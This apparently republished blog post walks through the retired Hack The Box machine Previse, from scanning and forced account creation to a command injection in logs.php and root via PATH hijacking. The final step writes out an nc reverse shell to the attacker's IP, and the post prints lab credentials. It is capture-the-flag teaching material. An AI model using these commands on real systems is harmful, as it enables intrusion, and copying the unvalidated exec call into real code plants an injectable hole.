7

Previse: Hack The Box Walkthrough

 2 years ago
source link: https://hackso.me/previse-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

This post documents the complete walkthrough of Previse, a retired vulnerable VM created by m4lwhere, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Previse is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.11.104 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-09 18:06:31 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.11.104
Discovered open port 80/tcp on 10.10.11.104

Nothing unsual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason 10.10.11.104 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php

This is what the http service looks like.

Directory/File Enumeration

Let’s see what we can get from gobuster and SecLists.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -e -t 20 -x php,txt -u h
ttp://10.10.11.104/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/08/09 18:19:58 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/login.php            (Status: 200) [Size: 2224]
http://10.10.11.104/logout.php           (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/download.php         (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/logs.php             (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/files.php            (Status: 302) [Size: 7256] [--> login.php]
http://10.10.11.104/config.php           (Status: 200) [Size: 0]
http://10.10.11.104/index.php            (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
http://10.10.11.104/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
http://10.10.11.104/nav.php              (Status: 200) [Size: 1248]
http://10.10.11.104/header.php           (Status: 200) [Size: 980]
http://10.10.11.104/footer.php           (Status: 200) [Size: 217]
http://10.10.11.104/status.php           (Status: 302) [Size: 2970] [--> login.php]
http://10.10.11.104/server-status        (Status: 403) [Size: 277]

===============================================================
2021/08/09 18:20:32 Finished
===============================================================

Looks like login.php is our only way in or is it?

Creating an account with accounts.php

One would normally expect a size of zero for 302 redirects but look at some of them, especially files.php and accounts.php. Let’s look at accounts.php for instance.

HTTP/1.1 302 Found
Date: Tue, 10 Aug 2021 04:21:30 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vp298lkmrkpbppqjm8smj5kib1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8


...

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>

...

Despite the warning “ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!”, it appears that we are able to create an account by a POST request with supplied username, password and confirmed password. Let’s go ahead and register (ohmygawd:ohmygawd).

curl -i -d "username=ohmygawd&password=ohmygawd&confirm=ohmygawd" http://10.10.11.104/accounts.php
HTTP/1.1 302 Found
Date: Tue, 10 Aug 2021 04:30:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=4plkjne3usofi1fgqa4k5h3fn8; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 4109
Connection: close
Content-Type: text/html; charset=UTF-8


...

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    <div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>

...

Success! User was added!

Previse File Hosting

With that, we have an account into Previse File Hosting.

Site Backup

Looks like some newguy left a copy of the site’s backup. Oops!

Command Injection Vulnerability in logs.php

It didn’t take long for me to spot a command injection vulnerability in logs.php.

logs.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
}
?>

There’s no input validation in the delim parameter:

$output  =  exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

Foothold

Armed with this insight we can get ourselves a reverse shell like so.

And we have shell!

From www-data to m4lwhere

During enumeration of www-data’s account, I got hold of the database configuration in config.php.

config.php
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Armed with the credential (root:mySQL_p@ssw0rd!:)), we can enumerate the database previse to our hearts’ content.

We can see from /etc/passwd that m4lwhere is a user of the remote machine.

And that PasswordAuthentication in /etc/ssh/sshd_config is set to yes.

Cracking md5crypt with hashcat

Notice the salt shaker emoticon in the salt? My favorite offline cracker JtR didn’t like emoticon in the salt, hashcat on the other hand is totally cool with it.

Armed with the password ilovecody112235!, we should be able to log in as m4lwhere via SSH. As expected, the file user.txt is in m4lwhere’s home directory.

Privilege Escalation

During enumeration of m4lwhere’s account, I notice m4lwhere is able to sudo as root the following.

This is what /opt/scripts/access_backup.sh looks like.

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

m4lwhere didn’t have the permission to modify access_backup.sh.

Hijacking PATH search order

Notice that date is executed in the context of a subshell without the full path in the script above? Perhaps then we could do something like so.

echo -en '#!/bin/bash\n\n/bin/nc 10.10.16.125 1234 -e /bin/bash &\n\n/bin/date $@' > /tmp/date
chmod +x /tmp/date
export PATH=/tmp:$PATH
sudo /opt/scripts/access_backup.sh

And we are root!

Getting root.txt is trivial.

:dancer:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK